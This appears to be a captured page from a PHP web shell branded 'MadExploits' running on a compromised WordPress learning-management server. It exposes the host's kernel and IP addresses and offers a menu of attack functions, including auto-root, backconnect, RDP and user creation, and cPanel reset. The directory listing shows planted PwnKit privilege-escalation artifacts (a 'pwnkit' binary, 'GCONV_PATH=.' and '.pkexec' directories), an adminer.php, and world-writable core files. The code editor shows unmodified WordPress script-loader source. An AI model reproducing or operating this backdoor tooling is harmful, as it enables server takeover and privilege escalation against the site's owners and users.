Linux quad-clini-stageVM 5.4.0-1109-azure #115~18.04.1-Ubuntu SMP Mon May 22 20:06:37 UTC 2023 x86_64
Apache/2.4.29 (Ubuntu)
: 10.2.0.4 | : 3.21.46.13
Cant Read [ /etc/named.conf ]
7.4.25
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
ID3
[ DIR ]
drwxrwxrwx
IXR
[ DIR ]
drwxrwxrwx
PHPMailer
[ DIR ]
drwxrwxrwx
Requests
[ DIR ]
drwxrwxrwx
SimplePie
[ DIR ]
drwxrwxrwx
Text
[ DIR ]
drwxrwxrwx
assets
[ DIR ]
drwxrwxrwx
block-patterns
[ DIR ]
drwxrwxrwx
block-supports
[ DIR ]
drwxrwxrwx
blocks
[ DIR ]
drwxrwxrwx
certificates
[ DIR ]
drwxrwxrwx
css
[ DIR ]
drwxrwxrwx
customize
[ DIR ]
drwxrwxrwx
fonts
[ DIR ]
drwxrwxrwx
html-api
[ DIR ]
drwxrwxrwx
images
[ DIR ]
drwxrwxrwx
js
[ DIR ]
drwxrwxrwx
php-compat
[ DIR ]
drwxrwxrwx
pomo
[ DIR ]
drwxrwxrwx
random_compat
[ DIR ]
drwxrwxrwx
rest-api
[ DIR ]
drwxrwxrwx
sitemaps
[ DIR ]
drwxrwxrwx
sodium_compat
[ DIR ]
drwxrwxrwx
style-engine
[ DIR ]
drwxrwxrwx
theme-compat
[ DIR ]
drwxrwxrwx
widgets
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
admin-bar.php
33.55
KB
-rwxrwxrwx
adminer.php
465.43
KB
-rw-r--r--
atomlib.php
11.67
KB
-rwxrwxrwx
author-template.php
18.43
KB
-rwxrwxrwx
block-editor.php
23.61
KB
-rwxrwxrwx
block-i18n.json
316
B
-rwxrwxrwx
block-patterns.php
15.07
KB
-rwxrwxrwx
block-template-utils.php
44.99
KB
-rwxrwxrwx
block-template.php
10.56
KB
-rwxrwxrwx
blocks.php
52.09
KB
-rwxrwxrwx
bookmark-template.php
12.6
KB
-rwxrwxrwx
bookmark.php
15
KB
-rwxrwxrwx
cache-compat.php
5.83
KB
-rwxrwxrwx
cache.php
13.16
KB
-rwxrwxrwx
canonical.php
32.55
KB
-rwxrwxrwx
capabilities.php
39.06
KB
-rwxrwxrwx
category-template.php
55.67
KB
-rwxrwxrwx
category.php
12.4
KB
-rwxrwxrwx
class-IXR.php
2.48
KB
-rwxrwxrwx
class-feed.php
529
B
-rwxrwxrwx
class-http.php
367
B
-rwxrwxrwx
class-json.php
42.66
KB
-rwxrwxrwx
class-oembed.php
401
B
-rwxrwxrwx
class-phpass.php
6.55
KB
-rwxrwxrwx
class-phpmailer.php
664
B
-rwxrwxrwx
class-pop3.php
20.48
KB
-rwxrwxrwx
class-requests.php
2.18
KB
-rwxrwxrwx
class-simplepie.php
95.78
KB
-rwxrwxrwx
class-smtp.php
457
B
-rwxrwxrwx
class-snoopy.php
36.83
KB
-rwxrwxrwx
class-walker-category-dropdown...
2.42
KB
-rwxrwxrwx
class-walker-category.php
8.27
KB
-rwxrwxrwx
class-walker-comment.php
13.88
KB
-rwxrwxrwx
class-walker-nav-menu.php
9.35
KB
-rwxrwxrwx
class-walker-page-dropdown.php
2.64
KB
-rwxrwxrwx
class-walker-page.php
7.42
KB
-rwxrwxrwx
class-wp-admin-bar.php
17.08
KB
-rwxrwxrwx
class-wp-ajax-response.php
5.14
KB
-rwxrwxrwx
class-wp-application-passwords...
11.97
KB
-rwxrwxrwx
class-wp-block-editor-context....
1.32
KB
-rwxrwxrwx
class-wp-block-list.php
4.64
KB
-rwxrwxrwx
class-wp-block-parser.php
14.89
KB
-rwxrwxrwx
class-wp-block-pattern-categor...
5.25
KB
-rwxrwxrwx
class-wp-block-patterns-regist...
8.51
KB
-rwxrwxrwx
class-wp-block-styles-registry...
5.75
KB
-rwxrwxrwx
class-wp-block-supports.php
5.37
KB
-rwxrwxrwx
class-wp-block-template.php
1.8
KB
-rwxrwxrwx
class-wp-block-type-registry.p...
4.9
KB
-rwxrwxrwx
class-wp-block-type.php
13.68
KB
-rwxrwxrwx
class-wp-block.php
8.21
KB
-rwxrwxrwx
class-wp-comment-query.php
46.55
KB
-rwxrwxrwx
class-wp-comment.php
9.13
KB
-rwxrwxrwx
class-wp-customize-control.php
25.22
KB
-rwxrwxrwx
class-wp-customize-manager.php
197.39
KB
-rwxrwxrwx
class-wp-customize-nav-menus.p...
55.96
KB
-rwxrwxrwx
class-wp-customize-panel.php
10.42
KB
-rwxrwxrwx
class-wp-customize-section.php
10.98
KB
-rwxrwxrwx
class-wp-customize-setting.php
29.19
KB
-rwxrwxrwx
class-wp-customize-widgets.php
69.95
KB
-rwxrwxrwx
class-wp-date-query.php
34.84
KB
-rwxrwxrwx
class-wp-dependencies.php
13.73
KB
-rwxrwxrwx
class-wp-dependency.php
2.57
KB
-rwxrwxrwx
class-wp-editor.php
70.27
KB
-rwxrwxrwx
class-wp-embed.php
15.61
KB
-rwxrwxrwx
class-wp-error.php
7.33
KB
-rwxrwxrwx
class-wp-fatal-error-handler.p...
7.69
KB
-rwxrwxrwx
class-wp-feed-cache-transient....
2.53
KB
-rwxrwxrwx
class-wp-feed-cache.php
996
B
-rwxrwxrwx
class-wp-hook.php
15.35
KB
-rwxrwxrwx
class-wp-http-cookie.php
7.24
KB
-rwxrwxrwx
class-wp-http-curl.php
12.12
KB
-rwxrwxrwx
class-wp-http-encoding.php
6.53
KB
-rwxrwxrwx
class-wp-http-ixr-client.php
3.42
KB
-rwxrwxrwx
class-wp-http-proxy.php
5.84
KB
-rwxrwxrwx
class-wp-http-requests-hooks.p...
1.97
KB
-rwxrwxrwx
class-wp-http-requests-respons...
4.3
KB
-rwxrwxrwx
class-wp-http-response.php
2.91
KB
-rwxrwxrwx
class-wp-http-streams.php
16.31
KB
-rwxrwxrwx
class-wp-http.php
39.41
KB
-rwxrwxrwx
class-wp-image-editor-gd.php
16.18
KB
-rwxrwxrwx
class-wp-image-editor-imagick....
29.04
KB
-rwxrwxrwx
class-wp-image-editor.php
16.66
KB
-rwxrwxrwx
class-wp-list-util.php
7.27
KB
-rwxrwxrwx
class-wp-locale-switcher.php
6.39
KB
-rwxrwxrwx
class-wp-locale.php
15.73
KB
-rwxrwxrwx
class-wp-matchesmapregex.php
1.78
KB
-rwxrwxrwx
class-wp-meta-query.php
29.8
KB
-rwxrwxrwx
class-wp-metadata-lazyloader.p...
5.25
KB
-rwxrwxrwx
class-wp-network-query.php
18.83
KB
-rwxrwxrwx
class-wp-network.php
11.89
KB
-rwxrwxrwx
class-wp-object-cache.php
17.18
KB
-rwxrwxrwx
class-wp-oembed-controller.php
6.72
KB
-rwxrwxrwx
class-wp-oembed.php
30.45
KB
-rwxrwxrwx
class-wp-paused-extensions-sto...
4.94
KB
-rwxrwxrwx
class-wp-post-type.php
25.18
KB
-rwxrwxrwx
class-wp-post.php
6.33
KB
-rwxrwxrwx
class-wp-query.php
146.4
KB
-rwxrwxrwx
class-wp-recovery-mode-cookie-...
6.72
KB
-rwxrwxrwx
class-wp-recovery-mode-email-s...
10.92
KB
-rwxrwxrwx
class-wp-recovery-mode-key-ser...
4.4
KB
-rwxrwxrwx
class-wp-recovery-mode-link-se...
3.38
KB
-rwxrwxrwx
class-wp-recovery-mode.php
11.16
KB
-rwxrwxrwx
class-wp-rewrite.php
61.6
KB
-rwxrwxrwx
class-wp-role.php
2.46
KB
-rwxrwxrwx
class-wp-roles.php
8.38
KB
-rwxrwxrwx
class-wp-scripts.php
18.86
KB
-rwxrwxrwx
class-wp-session-tokens.php
7.28
KB
-rwxrwxrwx
class-wp-simplepie-file.php
3.32
KB
-rwxrwxrwx
class-wp-simplepie-sanitize-ks...
1.76
KB
-rwxrwxrwx
class-wp-site-query.php
30.22
KB
-rwxrwxrwx
class-wp-site.php
7.28
KB
-rwxrwxrwx
class-wp-styles.php
10.64
KB
-rwxrwxrwx
class-wp-tax-query.php
19.06
KB
-rwxrwxrwx
class-wp-taxonomy.php
18.03
KB
-rwxrwxrwx
class-wp-term-query.php
39.48
KB
-rwxrwxrwx
class-wp-term.php
5.17
KB
-rwxrwxrwx
class-wp-text-diff-renderer-in...
830
B
-rwxrwxrwx
class-wp-text-diff-renderer-ta...
16.76
KB
-rwxrwxrwx
class-wp-textdomain-registry.p...
5.83
KB
-rwxrwxrwx
class-wp-theme-json-data.php
1.52
KB
-rwxrwxrwx
class-wp-theme-json-resolver.p...
23.41
KB
-rwxrwxrwx
class-wp-theme-json-schema.php
4.22
KB
-rwxrwxrwx
class-wp-theme-json.php
116.44
KB
-rwxrwxrwx
class-wp-theme.php
54.98
KB
-rwxrwxrwx
class-wp-user-meta-session-tok...
2.92
KB
-rwxrwxrwx
class-wp-user-query.php
38.89
KB
-rwxrwxrwx
class-wp-user-request.php
2.17
KB
-rwxrwxrwx
class-wp-user.php
22.23
KB
-rwxrwxrwx
class-wp-walker.php
12.86
KB
-rwxrwxrwx
class-wp-widget-factory.php
3.27
KB
-rwxrwxrwx
class-wp-widget.php
17.95
KB
-rwxrwxrwx
class-wp-xmlrpc-server.php
208.55
KB
-rwxrwxrwx
class-wp.php
25.39
KB
-rwxrwxrwx
class-wpdb.php
116.29
KB
-rwxrwxrwx
class.wp-dependencies.php
373
B
-rwxrwxrwx
class.wp-scripts.php
343
B
-rwxrwxrwx
class.wp-styles.php
338
B
-rwxrwxrwx
comment-template.php
97.57
KB
-rwxrwxrwx
comment.php
125.63
KB
-rwxrwxrwx
compat.php
15
KB
-rwxrwxrwx
cron.php
40.56
KB
-rwxrwxrwx
date.php
400
B
-rwxrwxrwx
default-constants.php
10.29
KB
-rwxrwxrwx
default-filters.php
30.85
KB
-rwxrwxrwx
default-widgets.php
2.17
KB
-rwxrwxrwx
deprecated.php
133.95
KB
-rwxrwxrwx
embed-template.php
338
B
-rwxrwxrwx
embed.php
36.58
KB
-rwxrwxrwx
error-protection.php
4.02
KB
-rwxrwxrwx
feed-atom-comments.php
5.32
KB
-rwxrwxrwx
feed-atom.php
2.98
KB
-rwxrwxrwx
feed-rdf.php
2.61
KB
-rwxrwxrwx
feed-rss.php
1.16
KB
-rwxrwxrwx
feed-rss2-comments.php
3.98
KB
-rwxrwxrwx
feed-rss2.php
3.71
KB
-rwxrwxrwx
feed.php
22.46
KB
-rwxrwxrwx
formatting.php
325.36
KB
-rwxrwxrwx
functions.php
255.56
KB
-rwxrwxrwx
functions.wp-scripts.php
13.2
KB
-rwxrwxrwx
functions.wp-styles.php
8.38
KB
-rwxrwxrwx
general-template.php
163.92
KB
-rwxrwxrwx
global-styles-and-settings.php
13.86
KB
-rwxrwxrwx
http.php
22.62
KB
-rwxrwxrwx
https-detection.php
6.7
KB
-rwxrwxrwx
https-migration.php
4.62
KB
-rwxrwxrwx
kses.php
69.6
KB
-rwxrwxrwx
l10n.php
60.47
KB
-rwxrwxrwx
link-template.php
150.32
KB
-rwxrwxrwx
load.php
50.37
KB
-rwxrwxrwx
locale.php
162
B
-rwxrwxrwx
media-template.php
59.9
KB
-rwxrwxrwx
media.php
188.81
KB
-rwxrwxrwx
meta.php
61.72
KB
-rwxrwxrwx
ms-blogs.php
24.93
KB
-rwxrwxrwx
ms-default-constants.php
4.78
KB
-rwxrwxrwx
ms-default-filters.php
6.48
KB
-rwxrwxrwx
ms-deprecated.php
21.25
KB
-rwxrwxrwx
ms-files.php
2.59
KB
-rwxrwxrwx
ms-functions.php
89.14
KB
-rwxrwxrwx
ms-load.php
19.38
KB
-rwxrwxrwx
ms-network.php
3.71
KB
-rwxrwxrwx
ms-settings.php
4.03
KB
-rwxrwxrwx
ms-site.php
39.13
KB
-rwxrwxrwx
nav-menu-template.php
25.18
KB
-rwxrwxrwx
nav-menu.php
42.21
KB
-rwxrwxrwx
option.php
77.86
KB
-rwxrwxrwx
pluggable-deprecated.php
6.12
KB
-rwxrwxrwx
pluggable.php
108.27
KB
-rwxrwxrwx
plugin.php
35.15
KB
-rwxrwxrwx
post-formats.php
6.93
KB
-rwxrwxrwx
post-template.php
65.28
KB
-rwxrwxrwx
post-thumbnail-template.php
10.75
KB
-rwxrwxrwx
post.php
268.82
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
query.php
36.13
KB
-rwxrwxrwx
registration-functions.php
200
B
-rwxrwxrwx
registration.php
200
B
-rwxrwxrwx
rest-api.php
94.47
KB
-rwxrwxrwx
revision.php
24.82
KB
-rwxrwxrwx
rewrite.php
19.04
KB
-rwxrwxrwx
robots-template.php
5.06
KB
-rwxrwxrwx
rss-functions.php
255
B
-rwxrwxrwx
rss.php
22.46
KB
-rwxrwxrwx
script-loader.php
133.74
KB
-rwxrwxrwx
session.php
258
B
-rwxrwxrwx
shortcodes.php
21.86
KB
-rwxrwxrwx
sitemaps.php
3.16
KB
-rwxrwxrwx
spl-autoload-compat.php
441
B
-rwxrwxrwx
style-engine.php
6.25
KB
-rwxrwxrwx
taxonomy.php
168.15
KB
-rwxrwxrwx
template-canvas.php
592
B
-rwxrwxrwx
template-loader.php
2.94
KB
-rwxrwxrwx
template.php
22.77
KB
-rwxrwxrwx
theme-i18n.json
1.12
KB
-rwxrwxrwx
theme-templates.php
5.38
KB
-rwxrwxrwx
theme.json
9.81
KB
-rwxrwxrwx
theme.php
126.88
KB
-rwxrwxrwx
update.php
33.86
KB
-rwxrwxrwx
user.php
165.74
KB
-rwxrwxrwx
vars.php
5.74
KB
-rwxrwxrwx
version.php
929
B
-rwxrwxrwx
widgets.php
68.22
KB
-rwxrwxrwx
wlwmanifest.xml
1.02
KB
-rwxrwxrwx
wp-db.php
445
B
-rwxrwxrwx
wp-diff.php
647
B
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-scripts.php
<?php /** * Dependencies API: WP_Scripts class * * @since 2.6.0 * * @package WordPress * @subpackage Dependencies */ /** * Core class used to register scripts. * * @since 2.1.0 * * @see WP_Dependencies */ class WP_Scripts extends WP_Dependencies { /** * Base URL for scripts. * * Full URL with trailing slash. * * @since 2.6.0 * @var string */ public $base_url; /** * URL of the content directory. * * @since 2.8.0 * @var string */ public $content_url; /** * Default version string for scripts. * * @since 2.6.0 * @var string */ public $default_version; /** * Holds handles of scripts which are enqueued in footer. * * @since 2.8.0 * @var array */ public $in_footer = array(); /** * Holds a list of script handles which will be concatenated. * * @since 2.8.0 * @var string */ public $concat = ''; /** * Holds a string which contains script handles and their version. * * @since 2.8.0 * @deprecated 3.4.0 * @var string */ public $concat_version = ''; /** * Whether to perform concatenation. * * @since 2.8.0 * @var bool */ public $do_concat = false; /** * Holds HTML markup of scripts and additional data if concatenation * is enabled. * * @since 2.8.0 * @var string */ public $print_html = ''; /** * Holds inline code if concatenation is enabled. * * @since 2.8.0 * @var string */ public $print_code = ''; /** * Holds a list of script handles which are not in the default directory * if concatenation is enabled. * * Unused in core. * * @since 2.8.0 * @var string */ public $ext_handles = ''; /** * Holds a string which contains handles and versions of scripts which * are not in the default directory if concatenation is enabled. * * Unused in core. * * @since 2.8.0 * @var string */ public $ext_version = ''; /** * List of default directories. * * @since 2.8.0 * @var array */ public $default_dirs; /** * Holds a string which contains the type attribute for script tag. * * If the active theme does not declare HTML5 support for 'script', * then it initializes as `type='text/javascript'`. * * @since 5.3.0 * @var string */ private $type_attr = ''; /** * Constructor. * * @since 2.6.0 */ public function __construct() { $this->init(); add_action( 'init', array( $this, 'init' ), 0 ); } /** * Initialize the class. * * @since 3.4.0 */ public function init() { if ( function_exists( 'is_admin' ) && ! is_admin() && function_exists( 'current_theme_supports' ) && ! current_theme_supports( 'html5', 'script' ) ) { $this->type_attr = " type='text/javascript'"; } /** * Fires when the WP_Scripts instance is initialized. * * @since 2.6.0 * * @param WP_Scripts $wp_scripts WP_Scripts instance (passed by reference). */ do_action_ref_array( 'wp_default_scripts', array( &$this ) ); } /** * Prints scripts. * * Prints the scripts passed to it or the print queue. Also prints all necessary dependencies. * * @since 2.1.0 * @since 2.8.0 Added the `$group` parameter. * * @param string|string[]|false $handles Optional. Scripts to be printed: queue (false), * single script (string), or multiple scripts (array of strings). * Default false. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return string[] Handles of scripts that have been printed. */ public function print_scripts( $handles = false, $group = false ) { return $this->do_items( $handles, $group ); } /** * Prints extra scripts of a registered script. * * @since 2.1.0 * @since 2.8.0 Added the `$display` parameter. * @deprecated 3.3.0 * * @see print_extra_script() * * @param string $handle The script's registered handle. * @param bool $display Optional. Whether to print the extra script * instead of just returning it. Default true. * @return bool|string|void Void if no data exists, extra scripts if `$display` is true, * true otherwise. */ public function print_scripts_l10n( $handle, $display = true ) { _deprecated_function( __FUNCTION__, '3.3.0', 'WP_Scripts::print_extra_script()' ); return $this->print_extra_script( $handle, $display ); } /** * Prints extra scripts of a registered script. * * @since 3.3.0 * * @param string $handle The script's registered handle. * @param bool $display Optional. Whether to print the extra script * instead of just returning it. Default true. * @return bool|string|void Void if no data exists, extra scripts if `$display` is true, * true otherwise. */ public function print_extra_script( $handle, $display = true ) { $output = $this->get_data( $handle, 'data' ); if ( ! $output ) { return; } if ( ! $display ) { return $output; } printf( "<script%s id='%s-js-extra'>\n", $this->type_attr, esc_attr( $handle ) ); // CDATA is not needed for HTML 5. if ( $this->type_attr ) { echo "/* <![CDATA[ */\n"; } echo "$output\n"; if ( $this->type_attr ) { echo "/* ]]> */\n"; } echo "</script>\n"; return true; } /** * Processes a script dependency. * * @since 2.6.0 * @since 2.8.0 Added the `$group` parameter. * * @see WP_Dependencies::do_item() * * @param string $handle The script's registered handle. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return bool True on success, false on failure. */ public function do_item( $handle, $group = false ) { if ( ! parent::do_item( $handle ) ) { return false; } if ( 0 === $group && $this->groups[ $handle ] > 0 ) { $this->in_footer[] = $handle; return false; } if ( false === $group && in_array( $handle, $this->in_footer, true ) ) { $this->in_footer = array_diff( $this->in_footer, (array) $handle ); } $obj = $this->registered[ $handle ]; if ( null === $obj->ver ) { $ver = ''; } else { $ver = $obj->ver ? $obj->ver : $this->default_version; } if ( isset( $this->args[ $handle ] ) ) { $ver = $ver ? $ver . '&' . $this->args[ $handle ] : $this->args[ $handle ]; } $src = $obj->src; $cond_before = ''; $cond_after = ''; $conditional = isset( $obj->extra['conditional'] ) ? $obj->extra['conditional'] : ''; if ( $conditional ) { $cond_before = "<!--[if {$conditional}]>\n"; $cond_after = "<![endif]-->\n"; } $before_handle = $this->print_inline_script( $handle, 'before', false ); $after_handle = $this->print_inline_script( $handle, 'after', false ); if ( $before_handle ) { $before_handle = sprintf( "<script%s id='%s-js-before'>\n%s\n</script>\n", $this->type_attr, esc_attr( $handle ), $before_handle ); } if ( $after_handle ) { $after_handle = sprintf( "<script%s id='%s-js-after'>\n%s\n</script>\n", $this->type_attr, esc_attr( $handle ), $after_handle ); } if ( $before_handle || $after_handle ) { $inline_script_tag = $cond_before . $before_handle . $after_handle . $cond_after; } else { $inline_script_tag = ''; } /* * Prevent concatenation of scripts if the text domain is defined * to ensure the dependency order is respected. */ $translations_stop_concat = ! empty( $obj->textdomain ); $translations = $this->print_translations( $handle, false ); if ( $translations ) { $translations = sprintf( "<script%s id='%s-js-translations'>\n%s\n</script>\n", $this->type_attr, esc_attr( $handle ), $translations ); } if ( $this->do_concat ) { /** * Filters the script loader source. * * @since 2.2.0 * * @param string $src Script loader source path. * @param string $handle Script handle. */ $srce = apply_filters( 'script_loader_src', $src, $handle ); if ( $this->in_default_dir( $srce ) && ( $before_handle || $after_handle || $translations_stop_concat ) ) { $this->do_concat = false; // Have to print the so-far concatenated scripts right away to maintain the right order. _print_scripts(); $this->reset(); } elseif ( $this->in_default_dir( $srce ) && ! $conditional ) { $this->print_code .= $this->print_extra_script( $handle, false ); $this->concat .= "$handle,"; $this->concat_version .= "$handle$ver"; return true; } else { $this->ext_handles .= "$handle,"; $this->ext_version .= "$handle$ver"; } } $has_conditional_data = $conditional && $this->get_data( $handle, 'data' ); if ( $has_conditional_data ) { echo $cond_before; } $this->print_extra_script( $handle ); if ( $has_conditional_data ) { echo $cond_after; } // A single item may alias a set of items, by having dependencies, but no source. if ( ! $src ) { if ( $inline_script_tag ) { if ( $this->do_concat ) { $this->print_html .= $inline_script_tag; } else { echo $inline_script_tag; } } return true; } if ( ! preg_match( '|^(https?:)?//|', $src ) && ! ( $this->content_url && 0 === strpos( $src, $this->content_url ) ) ) { $src = $this->base_url . $src; } if ( ! empty( $ver ) ) { $src = add_query_arg( 'ver', $ver, $src ); } /** This filter is documented in wp-includes/class-wp-scripts.php */ $src = esc_url( apply_filters( 'script_loader_src', $src, $handle ) ); if ( ! $src ) { return true; } $tag = $translations . $cond_before . $before_handle; $tag .= sprintf( "<script%s src='%s' id='%s-js'></script>\n", $this->type_attr, $src, esc_attr( $handle ) ); $tag .= $after_handle . $cond_after; /** * Filters the HTML script tag of an enqueued script. * * @since 4.1.0 * * @param string $tag The `<script>` tag for the enqueued script. * @param string $handle The script's registered handle. * @param string $src The script's source URL. */ $tag = apply_filters( 'script_loader_tag', $tag, $handle, $src ); if ( $this->do_concat ) { $this->print_html .= $tag; } else { echo $tag; } return true; } /** * Adds extra code to a registered script. * * @since 4.5.0 * * @param string $handle Name of the script to add the inline script to. * Must be lowercase. * @param string $data String containing the JavaScript to be added. * @param string $position Optional. Whether to add the inline script * before the handle or after. Default 'after'. * @return bool True on success, false on failure. */ public function add_inline_script( $handle, $data, $position = 'after' ) { if ( ! $data ) { return false; } if ( 'after' !== $position ) { $position = 'before'; } $script = (array) $this->get_data( $handle, $position ); $script[] = $data; return $this->add_data( $handle, $position, $script ); } /** * Prints inline scripts registered for a specific handle. * * @since 4.5.0 * * @param string $handle Name of the script to add the inline script to. * Must be lowercase. * @param string $position Optional. Whether to add the inline script * before the handle or after. Default 'after'. * @param bool $display Optional. Whether to print the script * instead of just returning it. Default true. * @return string|false Script on success, false otherwise. */ public function print_inline_script( $handle, $position = 'after', $display = true ) { $output = $this->get_data( $handle, $position ); if ( empty( $output ) ) { return false; } $output = trim( implode( "\n", $output ), "\n" ); if ( $display ) { printf( "<script%s id='%s-js-%s'>\n%s\n</script>\n", $this->type_attr, esc_attr( $handle ), esc_attr( $position ), $output ); } return $output; } /** * Localizes a script, only if the script has already been added. * * @since 2.1.0 * * @param string $handle Name of the script to attach data to. * @param string $object_name Name of the variable that will contain the data. * @param array $l10n Array of data to localize. * @return bool True on success, false on failure. */ public function localize( $handle, $object_name, $l10n ) { if ( 'jquery' === $handle ) { $handle = 'jquery-core'; } if ( is_array( $l10n ) && isset( $l10n['l10n_print_after'] ) ) { // back compat, preserve the code in 'l10n_print_after' if present. $after = $l10n['l10n_print_after']; unset( $l10n['l10n_print_after'] ); } if ( ! is_array( $l10n ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: 1: $l10n, 2: wp_add_inline_script() */ __( 'The %1$s parameter must be an array. To pass arbitrary data to scripts, use the %2$s function instead.' ), '<code>$l10n</code>', '<code>wp_add_inline_script()</code>' ), '5.7.0' ); if ( false === $l10n ) { // This should really not be needed, but is necessary for backward compatibility. $l10n = array( $l10n ); } } if ( is_string( $l10n ) ) { $l10n = html_entity_decode( $l10n, ENT_QUOTES, 'UTF-8' ); } elseif ( is_array( $l10n ) ) { foreach ( $l10n as $key => $value ) { if ( ! is_scalar( $value ) ) { continue; } $l10n[ $key ] = html_entity_decode( (string) $value, ENT_QUOTES, 'UTF-8' ); } } $script = "var $object_name = " . wp_json_encode( $l10n ) . ';'; if ( ! empty( $after ) ) { $script .= "\n$after;"; } $data = $this->get_data( $handle, 'data' ); if ( ! empty( $data ) ) { $script = "$data\n$script"; } return $this->add_data( $handle, 'data', $script ); } /** * Sets handle group. * * @since 2.8.0 * * @see WP_Dependencies::set_group() * * @param string $handle Name of the item. Should be unique. * @param bool $recursion Internal flag that calling function was called recursively. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return bool Not already in the group or a lower group. */ public function set_group( $handle, $recursion, $group = false ) { if ( isset( $this->registered[ $handle ]->args ) && 1 === $this->registered[ $handle ]->args ) { $grp = 1; } else { $grp = (int) $this->get_data( $handle, 'group' ); } if ( false !== $group && $grp > $group ) { $grp = $group; } return parent::set_group( $handle, $recursion, $grp ); } /** * Sets a translation textdomain. * * @since 5.0.0 * @since 5.1.0 The `$domain` parameter was made optional. * * @param string $handle Name of the script to register a translation domain to. * @param string $domain Optional. Text domain. Default 'default'. * @param string $path Optional. The full file path to the directory containing translation files. * @return bool True if the text domain was registered, false if not. */ public function set_translations( $handle, $domain = 'default', $path = '' ) { if ( ! isset( $this->registered[ $handle ] ) ) { return false; } /** @var \_WP_Dependency $obj */ $obj = $this->registered[ $handle ]; if ( ! in_array( 'wp-i18n', $obj->deps, true ) ) { $obj->deps[] = 'wp-i18n'; } return $obj->set_translations( $domain, $path ); } /** * Prints translations set for a specific handle. * * @since 5.0.0 * * @param string $handle Name of the script to add the inline script to. * Must be lowercase. * @param bool $display Optional. Whether to print the script * instead of just returning it. Default true. * @return string|false Script on success, false otherwise. */ public function print_translations( $handle, $display = true ) { if ( ! isset( $this->registered[ $handle ] ) || empty( $this->registered[ $handle ]->textdomain ) ) { return false; } $domain = $this->registered[ $handle ]->textdomain; $path = ''; if ( isset( $this->registered[ $handle ]->translations_path ) ) { $path = $this->registered[ $handle ]->translations_path; } $json_translations = load_script_textdomain( $handle, $domain, $path ); if ( ! $json_translations ) { return false; } $output = <<<JS ( function( domain, translations ) { var localeData = translations.locale_data[ domain ] || translations.locale_data.messages; localeData[""].domain = domain; wp.i18n.setLocaleData( localeData, domain ); } )( "{$domain}", {$json_translations} ); JS; if ( $display ) { printf( "<script%s id='%s-js-translations'>\n%s\n</script>\n", $this->type_attr, esc_attr( $handle ), $output ); } return $output; } /** * Determines script dependencies. * * @since 2.1.0 * * @see WP_Dependencies::all_deps() * * @param string|string[] $handles Item handle (string) or item handles (array of strings). * @param bool $recursion Optional. Internal flag that function is calling itself. * Default false. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return bool True on success, false on failure. */ public function all_deps( $handles, $recursion = false, $group = false ) { $r = parent::all_deps( $handles, $recursion, $group ); if ( ! $recursion ) { /** * Filters the list of script dependencies left to print. * * @since 2.3.0 * * @param string[] $to_do An array of script dependency handles. */ $this->to_do = apply_filters( 'print_scripts_array', $this->to_do ); } return $r; } /** * Processes items and dependencies for the head group. * * @since 2.8.0 * * @see WP_Dependencies::do_items() * * @return string[] Handles of items that have been processed. */ public function do_head_items() { $this->do_items( false, 0 ); return $this->done; } /** * Processes items and dependencies for the footer group. * * @since 2.8.0 * * @see WP_Dependencies::do_items() * * @return string[] Handles of items that have been processed. */ public function do_footer_items() { $this->do_items( false, 1 ); return $this->done; } /** * Whether a handle's source is in a default directory. * * @since 2.8.0 * * @param string $src The source of the enqueued script. * @return bool True if found, false if not. */ public function in_default_dir( $src ) { if ( ! $this->default_dirs ) { return true; } if ( 0 === strpos( $src, '/' . WPINC . '/js/l10n' ) ) { return false; } foreach ( (array) $this->default_dirs as $test ) { if ( 0 === strpos( $src, $test ) ) { return true; } } return false; } /** * Resets class properties. * * @since 2.8.0 */ public function reset() { $this->do_concat = false; $this->print_code = ''; $this->concat = ''; $this->concat_version = ''; $this->print_html = ''; $this->ext_version = ''; $this->ext_handles = ''; } }
Close